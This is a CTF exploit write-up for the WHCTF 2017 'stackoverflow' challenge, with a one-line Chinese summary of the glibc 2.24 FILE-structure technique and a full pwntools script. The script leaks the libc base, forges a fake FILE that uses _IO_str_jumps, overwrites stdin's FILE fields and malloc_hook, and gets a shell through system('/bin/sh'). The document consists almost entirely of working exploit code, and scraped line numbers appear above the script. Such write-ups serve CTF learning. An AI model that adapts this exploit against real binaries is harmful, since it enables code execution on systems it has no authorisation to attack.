IO FILE advanced exploitation

WHCTF 2017 stackoverflow

Libc: 2.24-9ubuntu2.2_amd64

伪造 fake FILE 结构体,使用str虚函数表,利用str_overflow函数绕过条件限制去任意call,只能控制rdi。参见:https://dhavalkapil.com/blogs/FILE-Structure-Exploitation/

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
#!/usr/bin/env python
# -*- coding: utf-8 -*-

from pwn import *

s = lambda data :sh.send(data)
sa = lambda delim,data :sh.sendafter(delim, data)
sl = lambda data :sh.sendline(data)
sla = lambda delim,data :sh.sendlineafter(delim, data)
r = lambda numb=4096 :sh.recv(numb)
ru = lambda delims, drop=False :sh.recvuntil(delims, drop)
rl = lambda :sh.recvline()
irt = lambda :sh.interactive()
pinfo = lambda name,addr :log.success('{} : {:#x}'.format(name, addr))

context(log_level = 'debug', arch = 'amd64')

elf = ELF('./stackoverflow')
DEBUG = 1

if DEBUG:
libc = elf.libc
sh = process(elf.path)
else:
IP = ''
PORT = ''
libc = ELF('./')
sh = remote(IP,PORT)

def pack_file(_flags = 0,
_IO_read_ptr = 0,
_IO_read_end = 0,
_IO_read_base = 0,
_IO_write_base = 0,
_IO_write_ptr = 0,
_IO_write_end = 0,
_IO_buf_base = 0,
_IO_buf_end = 0,
_IO_save_base = 0,
_IO_backup_base = 0,
_IO_save_end = 0,
_IO_marker = 0,
_IO_chain = 0,
_fileno = 0,
_lock = 0):
struct = p32(_flags) + \
p32(0) + \
p64(_IO_read_ptr) + \
p64(_IO_read_end) + \
p64(_IO_read_base) + \
p64(_IO_write_base) + \
p64(_IO_write_ptr) + \
p64(_IO_write_end) + \
p64(_IO_buf_base) + \
p64(_IO_buf_end) + \
p64(_IO_save_base) + \
p64(_IO_backup_base) + \
p64(_IO_save_end) + \
p64(_IO_marker) + \
p64(_IO_chain) + \
p32(_fileno)
struct = struct.ljust(0x88, "\x00")
struct += p64(_lock)
struct = struct.ljust(0xd8, "\x00")
return struct

def pwn():
#pause()
sa('bro:','A'*8)
ru('A'*8)
libc.address = u64(r(6).ljust(8,'\x00')) - 0x753a2
binsh = next(libc.search('/bin/sh'))
system = libc.sym['system']
pinfo('libc base',libc.address)
pinfo('system',system)
pinfo('binsh',binsh)

sla('stackoverflow:',str(0x6998e8))
sla('stackoverflow:',str(0x300000-1))

str_vtable = libc.address + 0x395500 # _IO_str_jumps
fake_FILE_addr = libc.address - 0x301000+ 0x10
pinfo("mmap addr",fake_FILE_addr)
fake_FILE = pack_file(
_IO_buf_base = 0,
_IO_buf_end = (binsh-100) / 2,
_IO_write_base = 0,
_IO_write_ptr = (binsh-100) / 2 + 1,
_lock = fake_FILE_addr - 0x10
)

fake_FILE += p64(str_vtable)
fake_FILE += p64(system)
#pause()
sa('ropchain:',fake_FILE)

sleep(0.5)
s('\xf0\xfb')
r()
s('A')
r()
s('A')
r()

#pause()
#corrupt stdin file struct start from _IO_buf_end
real_buf_end = 0x398944 + libc.address
payload = p64(real_buf_end-0x24)
payload += p64(0) * 4
payload += p64(fake_FILE_addr) # _chain
payload += p64(0)
payload += p64(0xffffffffffffffff)
payload += p64(0x000000000a000000)
payload += p64(libc.address + 0x39a770) # _lock
payload += p64(0xffffffffffffffff)
payload += p64(0)
payload += p64(libc.address + 0x3989a0) # _wide_data
payload += p64(0) * 3
payload += p64(0x00000000ffffffff)
payload += p64(0) *2
payload += p64(libc.address + 0x395440) # vtable
payload = payload.ljust(0x1f0,'\x00')
payload += p64(libc.sym['abort']) # malloc_hook
sl(payload)

#pause()
irt()

if __name__ == '__main__':
pwn()